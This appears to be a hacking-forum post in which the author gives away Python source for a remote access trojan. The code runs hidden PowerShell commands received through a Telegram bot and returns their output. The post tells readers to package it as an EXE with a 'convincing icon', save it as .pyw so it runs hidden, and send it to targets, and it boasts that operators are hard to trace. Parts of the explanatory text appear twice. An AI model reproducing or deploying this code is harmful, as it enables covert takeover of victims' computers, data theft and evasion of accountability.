Those who say a RAT can execute commands on a target system without IP and port information, congratulations, you never believe in the impossible. Gather those who say no, I'll explain how to do it. Let me say this from the beginning, this code is not for sale, it's free to take and use in your own projects
Let me explain how this method works. First, we'll code a payload capable of executing PowerShell commands. Then, we'll integrate this payload into a Telegram bot. Using PyInstaller, we'll convert this program into an EXE file and send it to the target. Once the target runs this file, it turns into a Telegram bot server and executes the codes we send to the bot as messages on the computer and sends us the output. The code can bypass access controls by starting a separate PowerShell instance for each code, thus bypassing access controls. Here's what you need to do:
1-) Create a new bot from Telegram BotFather.
2-) Copy the bot's token and paste it into the "TOKEN HERE" part of the code I've given you.
3-) Convert the program to an EXE file with PyInstaller using a convincing icon. That's all.
IMPORTANT NOTE Save the Python code I'll give you as a .pyw file instead of .py .pyw files are hidden files that run in the background, and if these files are converted to EXE, they also run secretly in the background
Guys, I have a request. If you think there's something missing in this code, please let me know. Also, this code is only 5% of a much larger and more powerful RAT project that I'm currently designing. I hesitated to share this code while writing this post, but I thought it might be useful for forum visitors. I hope it serves you well. Unlike classic RATs, this code doesn't use IP and port information, so even if this code is caught, it will be very, very difficult for them to find you. I hope you find it useful. Remember me every time you use it
Let me explain how this method works. First, we'll code a payload capable of executing PowerShell commands. Then, we'll integrate this payload into a Telegram bot. Using PyInstaller, we'll convert this program into an EXE file and send it to the target. Once the target runs this file, it turns into a Telegram bot server and executes the codes we send to the bot as messages on the computer and sends us the output. The code can bypass access controls by starting a separate PowerShell instance for each code, thus bypassing access controls. Here's what you need to do:
1-) Create a new bot from Telegram BotFather.
2-) Copy the bot's token and paste it into the "TOKEN HERE" part of the code I've given you.
3-) Convert the program to an EXE file with PyInstaller using a convincing icon. That's all.
IMPORTANT NOTE Save the Python code I'll give you as a .pyw file instead of .py .pyw files are hidden files that run in the background, and if these files are converted to EXE, they also run secretly in the background
# Her Bji Mazlum Doxan Her Bji PKK
import subprocess
import time
import socket
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, ContextTypes, filters
# telegram token
TOKEN = 'TOKEN HERE'
# Start the PowerShell process
def start_powershell():
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
p = subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, startupinfo=startupinfo, text=True)
return p
# Check internet connection
def check_internet():
try:
socket.create_connection(("8.8.8.8", 53), timeout=1)
return True
except OSError:
return False
# Command handler function
async def handle_command(update: Update, context: ContextTypes.DEFAULT_TYPE):
command = update.message.text + "\n"
# start powershell driver
p = start_powershell()
try:
p.stdin.write(command)
p.stdin.flush()
output, error = p.communicate(timeout=10)
if error:
output += f'\nError: {error}'
except subprocess.TimeoutExpired:
p.kill()
output = "Execution of the command timed out...."
finally:
p.stdin.close()
p.stdout.close()
p.stderr.close()
p.terminate()
# Send output in chunks
chunk_size = 4096
for i in range(0, len(output), chunk_size):
await update.message.reply_text(output[i:i+chunk_size])
# Confirmation message that the system is working
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text('OK, system is working, enter command')
async def error(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text(f'Error: {context.error}')
def main():
# start bot
while True:
if check_internet():
app = ApplicationBuilder().token(TOKEN).build()
# Command and message handlers
app.add_handler(CommandHandler('start', start))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_command))
app.add_error_handler(error)
app.run_polling()
else:
time.sleep(5) # If there is no internet connection, wait 5 seconds and check again
if __name__ == '__main__':
main()Guys, I have a request. If you think there's something missing in this code, please let me know. Also, this code is only 5% of a much larger and more powerful RAT project that I'm currently designing. I hesitated to share this code while writing this post, but I thought it might be useful for forum visitors. I hope it serves you well. Unlike classic RATs, this code doesn't use IP and port information, so even if this code is caught, it will be very, very difficult for them to find you. I hope you find it useful. Remember me every time you use it
Ban reason: Dishes out second hand retardation | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you wish to be unbanned in the future. (Permanent)
